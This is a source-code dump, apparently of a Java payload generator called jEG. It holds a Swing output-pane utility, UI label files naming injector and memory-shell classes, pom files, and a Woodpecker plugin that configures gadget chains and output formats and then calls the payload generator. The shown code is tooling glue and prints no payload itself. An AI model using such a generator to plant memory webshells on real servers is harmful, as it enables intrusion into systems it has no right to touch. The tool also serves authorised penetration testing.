23 | SUCCESS_ATT = ComponentUtil.createSimpleAttributeSet(new Color(70,135,55)); 24 | RAW_ATT = ComponentUtil.createSimpleAttributeSet(new Color(0, 0, 0)); 25 | START_ATT = ComponentUtil.createSimpleAttributeSet(Color.gray); 26 | } 27 | 28 | 29 | public static void rawPrintln(String str) { 30 | try { 31 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str), RAW_ATT); 32 | } catch (Exception e) { 33 | e.printStackTrace(); 34 | } 35 | } 36 | 37 | public static void successPrintln(String str) { 38 | 39 | try { 40 | // 对 jexpr-encoder-utils 输出的处理 41 | if (str.startsWith("[+]")) { 42 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("%s\n", str.replace("==>", "==>\n").replace("<==", "<==\n\n\n\n")), SUCCESS_ATT); 43 | } else { 44 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[+] %s\n", str), SUCCESS_ATT); 45 | 46 | } 47 | } catch (Exception e) { 48 | e.printStackTrace(); 49 | } 50 | } 51 | 52 | public static void errorPrintln(String str) { 53 | try { 54 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[x] %s\n", str), ERROR_ATT); 55 | } catch (Exception e) { 56 | e.printStackTrace(); 57 | } 58 | } 59 | 60 | public static void startPrintln(String str) { 61 | try { 62 | textPane.getDocument().insertString(textPane.getDocument().getLength(), String.format("[>] %s\n", str), START_ATT); 63 | } catch (Exception e) { 64 | e.printStackTrace(); 65 | } 66 | } 67 | 68 | ///////////////////////////////////////////////////////////// 69 | // 以下内部类全都用于实现自动强制折行 70 | // https://github.com/MrYKK/oimchat/blob/598aedd94767667498d66d1ed682f073f3f181b7/oim-fx/src/test/java/swing/JIMSendTextPane.java 71 | ///////////////////////////////////////////////////////////// 72 | public static class WarpEditorKit extends StyledEditorKit { 73 | private static final long serialVersionUID = 1L; 74 | private ViewFactory defaultFactory = new WarpColumnFactory(); 75 | 76 | @Override 77 | public ViewFactory getViewFactory() { 78 | return defaultFactory; 79 | } 80 | } 81 | 82 | private static class WarpColumnFactory implements ViewFactory { 83 | 84 | public View create(Element elem) { 85 | String kind = elem.getName(); 86 | if (kind != null) { 87 | if (kind.equals(AbstractDocument.ContentElementName)) { 88 | return new WarpLabelView(elem); 89 | } else if (kind.equals(AbstractDocument.ParagraphElementName)) { 90 | return new ParagraphView(elem); 91 | } else if (kind.equals(AbstractDocument.SectionElementName)) { 92 | return new BoxView(elem, View.Y_AXIS); 93 | } else if (kind.equals(StyleConstants.ComponentElementName)) { 94 | return new ComponentView(elem); 95 | } else if (kind.equals(StyleConstants.IconElementName)) { 96 | return new IconView(elem); 97 | } 98 | } 99 | 100 | // default to text display 101 | return new LabelView(elem); 102 | } 103 | } 104 | 105 | private static class WarpLabelView extends LabelView { 106 | 107 | public WarpLabelView(Element elem) { 108 | super(elem); 109 | } 110 | 111 | @Override 112 | public float getMinimumSpan(int axis) { 113 | switch (axis) { 114 | case View.X_AXIS: 115 | return 0; 116 | case View.Y_AXIS: 117 | return super.getMinimumSpan(axis); 118 | default: 119 | throw new IllegalArgumentException("Invalid axis: " + axis); 120 | } 121 | } 122 | } 123 | ///////////////////////////////////////////////////////////////////////////////// 124 | 125 | public static void initTextPane(JTextPane textPane) { 126 | TextPaneUtil.textPane = textPane; 127 | TextPaneUtil.textPane.setEditorKit(new WarpEditorKit()); 128 | TextPaneUtil.textPane.setFont(font); 129 | } 130 | } 131 | -------------------------------------------------------------------------------- /jeg-gui/src/main/resources/messages_en.properties: -------------------------------------------------------------------------------- 1 | format.text=Output Format 2 | generate.text=Generate 3 | headerName.text=Header Key 4 | headerValue.text=Header Value 5 | injectorClsName.text=Injector Class Name 6 | key.text=Key 7 | pass.text=Password 8 | server.text=Server Type 9 | shell.text=Shell Type 10 | shellClsName.text=Shell Class Name 11 | tool.text=Tool Type 12 | uri.text=Request URI 13 | gadget.text=Enable Gadget Wrapping 14 | expr.text=Enable Expr Wrapping -------------------------------------------------------------------------------- /jeg-gui/src/main/resources/messages_en.properties.bak: -------------------------------------------------------------------------------- 1 | format.text=Output Format 2 | generate.text=Generate 3 | headerName.text=Request Header Key 4 | headerValue.text=Request Header Value 5 | injectorClsName.text=Injector Class Name 6 | key.text=Key 7 | pass.text=Password 8 | server.text=Server Type 9 | shell.text=Shell Type 10 | shellClsName.text=Shell Class Name 11 | tool.text=Tool Type 12 | uri.text=Request URI 13 | gadget.text=Enable Gadget Wrapping 14 | expr.text=Enable Expr Wrapping -------------------------------------------------------------------------------- /jeg-gui/src/main/resources/messages_zh.properties: -------------------------------------------------------------------------------- 1 | format.text=\u8F93\u51FA\u683C\u5F0F 2 | generate.text=\u751F\u6210 3 | headerName.text=\u8BF7\u6C42\u5934\u952E 4 | headerValue.text=\u8BF7\u6C42\u5934\u503C 5 | injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D 6 | key.text=\u5BC6\u94A5 7 | pass.text=\u5BC6\u7801 8 | server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6 9 | shell.text=\u7EC4\u4EF6\u7C7B\u578B 10 | shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D 11 | tool.text=\u5DE5\u5177\u7C7B\u578B 12 | uri.text=\u8BF7\u6C42\u8DEF\u5F84 13 | gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5 14 | expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5 15 | -------------------------------------------------------------------------------- /jeg-gui/src/main/resources/messages_zh.properties.bak: -------------------------------------------------------------------------------- 1 | format.text=输出格式 2 | generate.text=生成 3 | headerName.text=请求头键 4 | headerValue.text=请求头值 5 | injectorClsName.text=注入器类名 6 | key.text=密钥 7 | pass.text=密码 8 | server.text=中间件/框架 9 | shell.text=组件类型 10 | shellClsName.text=内存马类名 11 | tool.text=工具类型 12 | uri.text=请求路径 13 | gadget.text=专项漏洞封装 14 | expr.text=表达式语句封装 15 | -------------------------------------------------------------------------------- /jeg-woodpecker/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jeg 6 | java-echo-generator 7 | ${reversion} 8 | 9 | 10 | jEG-woodpecker 11 | 12 | 13 | ${artifactId}-${reversion} 14 | 15 | 16 | 17 | jeg 18 | jEG-core 19 | ${reversion} 20 | 21 | 22 | me.gv7.woodpecker 23 | woodpecker-sdk 24 | 0.3.0 25 | provided 26 | 27 | 28 | me.gv7.woodpecker 29 | woodpecker-tools 30 | 0.1.0.beta1 31 | provided 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /jeg-woodpecker/src/main/java/me/gv7/woodpecker/helper/jEGHelper.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.helper; 2 | 3 | import jeg.core.jEGenerator; 4 | import jeg.core.config.jEGConstants; 5 | import jeg.core.config.jEGConfig; 6 | import me.gv7.woodpecker.plugin.*; 7 | 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | import java.util.Map; 11 | 12 | public class jEGHelper implements IHelperPlugin { 13 | public static IHelperPluginCallbacks callbacks; 14 | public static IPluginHelper pluginHelper; 15 | 16 | @Override 17 | public void HelperPluginMain(IHelperPluginCallbacks helperPluginCallbacks) { 18 | 19 | callbacks = helperPluginCallbacks; 20 | pluginHelper = callbacks.getPluginHelper(); 21 | callbacks.setHelperPluginName("jEcho Generator Utils"); 22 | callbacks.setHelperPluginVersion(jEGConstants.JEG_VERSION); 23 | callbacks.setHelperPluginAutor(jEGConstants.JEG_AUTHOR); 24 | callbacks.setHelperPluginDescription(jEGConstants.JEG_DESCRIPTION); 25 | helperPluginCallbacks.registerHelper(new ArrayList() {{ 26 | add(new jEchoHelper(jEGConstants.SERVER_TOMCAT)); 27 | add(new jEchoHelper(jEGConstants.SERVER_SPRING_MVC)); 28 | add(new jEchoHelper(jEGConstants.SERVER_JETTY)); 29 | add(new jEchoHelper(jEGConstants.SERVER_RESIN)); 30 | add(new jEchoHelper(jEGConstants.SERVER_WEBSPHERE)); 31 | add(new jEchoHelper(jEGConstants.SERVER_WEBLOGIC)); 32 | add(new jEchoHelper(jEGConstants.SERVER_UNDERTOW)); 33 | add(new jEchoHelper(jEGConstants.SERVER_STRUTS2)); 34 | add(new jEchoHelper(jEGConstants.SERVER_BES)); 35 | add(new jEchoHelper(jEGConstants.SERVER_INFORSUITE)); 36 | add(new jEchoHelper(jEGConstants.SERVER_TONGWEB)); 37 | add(new jEchoHelper(jEGConstants.SERVER_UNKNOWN)); 38 | }}); 39 | } 40 | 41 | public class jEchoHelper implements IHelper { 42 | 43 | private String helperName; 44 | 45 | public jEchoHelper(String helperName) { 46 | this.helperName = helperName; 47 | } 48 | 49 | @Override 50 | public String getHelperTabCaption() { 51 | return this.helperName; 52 | } 53 | 54 | 55 | @Override 56 | public IArgsUsageBinder getHelperCutomArgs() { 57 | 58 | IArgsUsageBinder binder = pluginHelper.createArgsUsageBinder(); 59 | List list = new ArrayList(); 60 | IArg modelType = pluginHelper.createArg(); 61 | modelType.setName("model_type"); 62 | modelType.setType(7); 63 | List enumModelType = new ArrayList(); 64 | enumModelType.add(jEGConstants.MODEL_CMD); 65 | enumModelType.add(jEGConstants.MODEL_CODE); 66 | modelType.setEnumValue(enumModelType); 67 | modelType.setDefaultValue(jEGConstants.MODEL_CMD); 68 | modelType.setRequired(true); 69 | modelType.setDescription("自定义执行模式(命令/代码)"); 70 | list.add(modelType); 71 | 72 | IArg gadgetType = pluginHelper.createArg(); 73 | gadgetType.setName("gadget_type"); 74 | gadgetType.setType(7); 75 | List enumGadgetType = new ArrayList(); 76 | enumGadgetType.add(jEGConstants.GADGET_NONE); 77 | enumGadgetType.add(jEGConstants.GADGET_JDK_TRANSLET); 78 | enumGadgetType.add(jEGConstants.GADGET_XALAN_TRANSLET); 79 | gadgetType.setEnumValue(enumGadgetType); 80 | gadgetType.setDefaultValue(jEGConstants.GADGET_NONE); 81 | gadgetType.setRequired(true); 82 | gadgetType.setDescription("自定义利用链"); 83 | list.add(gadgetType); 84 | 85 | IArg formatType = pluginHelper.createArg(); 86 | formatType.setName("format_type"); 87 | formatType.setType(7); 88 | List enumFormattType = new ArrayList(); 89 | enumFormattType.add(jEGConstants.FORMAT_BASE64); 90 | enumFormattType.add(jEGConstants.FORMAT_BCEL); 91 | enumFormattType.add(jEGConstants.FORMAT_BIGINTEGER); 92 | enumFormattType.add(jEGConstants.FORMAT_CLASS); 93 | enumFormattType.add(jEGConstants.FORMAT_JAR); 94 | enumFormattType.add(jEGConstants.FORMAT_JS); 95 | formatType.setEnumValue(enumFormattType); 96 | formatType.setDefaultValue(jEGConstants.FORMAT_BASE64); 97 | formatType.setRequired(true); 98 | formatType.setDescription("自定义输出格式"); 99 | list.add(formatType); 100 | 101 | IArg request_header_name = pluginHelper.createArg(); 102 | request_header_name.setName("request_header_name"); 103 | request_header_name.setType(0); 104 | request_header_name.setDefaultValue("随机生成"); 105 | request_header_name.setRequired(false); 106 | request_header_name.setDescription("自定义HTTP请求头: Header Name"); 107 | list.add(request_header_name); 108 | 109 | IArg request_param_name = pluginHelper.createArg(); 110 | request_param_name.setName("request_param_name"); 111 | request_param_name.setType(0); 112 | request_param_name.setDefaultValue("随机生成"); 113 | request_param_name.setRequired(false); 114 | request_param_name.setDescription("自定义请求参数: Param Name"); 115 | list.add(request_param_name); 116 | 117 | IArg shell_class_name = pluginHelper.createArg(); 118 | shell_class_name.setName("class_name"); 119 | shell_class_name.setType(0); 120 | shell_class_name.setRequired(false); 121 | shell_class_name.setDescription("自定义类名"); 122 | list.add(shell_class_name); 123 | 124 | IArg output_path = pluginHelper.createArg(); 125 | output_path.setName("output_path"); 126 | output_path.setType(0); 127 | output_path.setDefaultValue("workdir"); 128 | output_path.setRequired(false); 129 | output_path.setDescription("自定义输出路径"); 130 | list.add(output_path); 131 | binder.setArgsList(list); 132 | return binder; 133 | } 134 | 135 | @Override 136 | public void doHelp(Map customArgs, IResultOutput resultOutput) { 137 | try { 138 | jEGConfig config = new jEGConfig() {{ 139 | setServerType(helperName); 140 | setModelType((String) customArgs.get("model_type")); 141 | setGadgetType((String) customArgs.get("gadget_type")); 142 | setFormatType((String) customArgs.get("format_type")); 143 | setReqParamName((String) customArgs.get("request_param_name")); 144 | setRespHeaderName((String) customArgs.get("request_header_name")); 145 | setClassName((String) customArgs.get("class_name")); 146 | setOutputDir((String) customArgs.get("output_path")); 147 | build(); 148 | }}; 149 | // 生成 payload 150 | jEGenerator generator = new jEGenerator(config); 151 | String result = generator.getPayload(); 152 | resultOutput(resultOutput, config, result); 153 | } catch (Throwable e) { 154 | resultOutput.errorPrintln(jEGHelper.pluginHelper.getThrowableInfo(e)); 155 | } 156 | } 157 | } 158 | 159 | public static void resultOutput(IResultOutput resultOutput, jEGConfig config, String result) { 160 | resultOutput.successPrintln("基础信息:"); 161 | resultOutput.rawPrintln(""); 162 | if (config.getModelType().equals(jEGConstants.MODEL_CMD)) { 163 | resultOutput.rawPrintln("请求头: " + config.getReqHeaderName()); 164 | } else { 165 | resultOutput.rawPrintln("请求参数: " + config.getReqParamName()); 166 | } 167 | resultOutput.rawPrintln("类名: " + config.getClassName()); 168 | resultOutput.rawPrintln("载荷长度: " + config.getClassBytesLength()); 169 | resultOutput.rawPrintln(""); 170 | try { 171 | resultOutput.successPrintln("结果输出:"); 172 | resultOutput.rawPrintln(""); 173 | resultOutput.rawPrintln(result); 174 | resultOutput.rawPrintln(""); 175 | } catch (Throwable e) { 176 | resultOutput.errorPrintln(jEGHelper.pluginHelper.getThrowableInfo(e)); 177 | } 178 | } 179 | } 180 | -------------------------------------------------------------------------------- /jeg-woodpecker/src/main/java/me/gv7/woodpecker/plugin/WoodpeckerPluginManager.java: -------------------------------------------------------------------------------- 1 | package me.gv7.woodpecker.plugin; 2 | 3 | import me.gv7.woodpecker.helper.jEGHelper; 4 | 5 | public class WoodpeckerPluginManager implements IPluginManager { 6 | public WoodpeckerPluginManager() { 7 | } 8 | 9 | @Override 10 | public void registerPluginManagerCallbacks(IPluginManagerCallbacks pluginManagerCallbacks) { 11 | pluginManagerCallbacks.registerHelperPlugin(new jEGHelper()); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | jeg 7 | java-echo-generator 8 | pom 9 | ${reversion} 10 | 11 | jeg-core 12 | jeg-common 13 | jeg-gui 14 | jeg-woodpecker 15 | 16 | 17 | 1.0.0 18 | UTF-8 19 | 8 20 | 8 21 | 22 | 23 | 24 | 25 | org.javassist 26 | javassist 27 | 3.29.2-GA 28 | 29 | 30 | 31 | 32 | 33 | 34 | org.apache.maven.plugins 35 | maven-assembly-plugin 36 | 3.6.0 37 | 38 | 39 | jar-with-dependencies 40 | 41 | 42 | 43 | 44 | make-assembly 45 | package 46 | 47 | single 48 | 49 | 50 | 51 | 52 | 53 | 54 | --------------------------------------------------------------------------------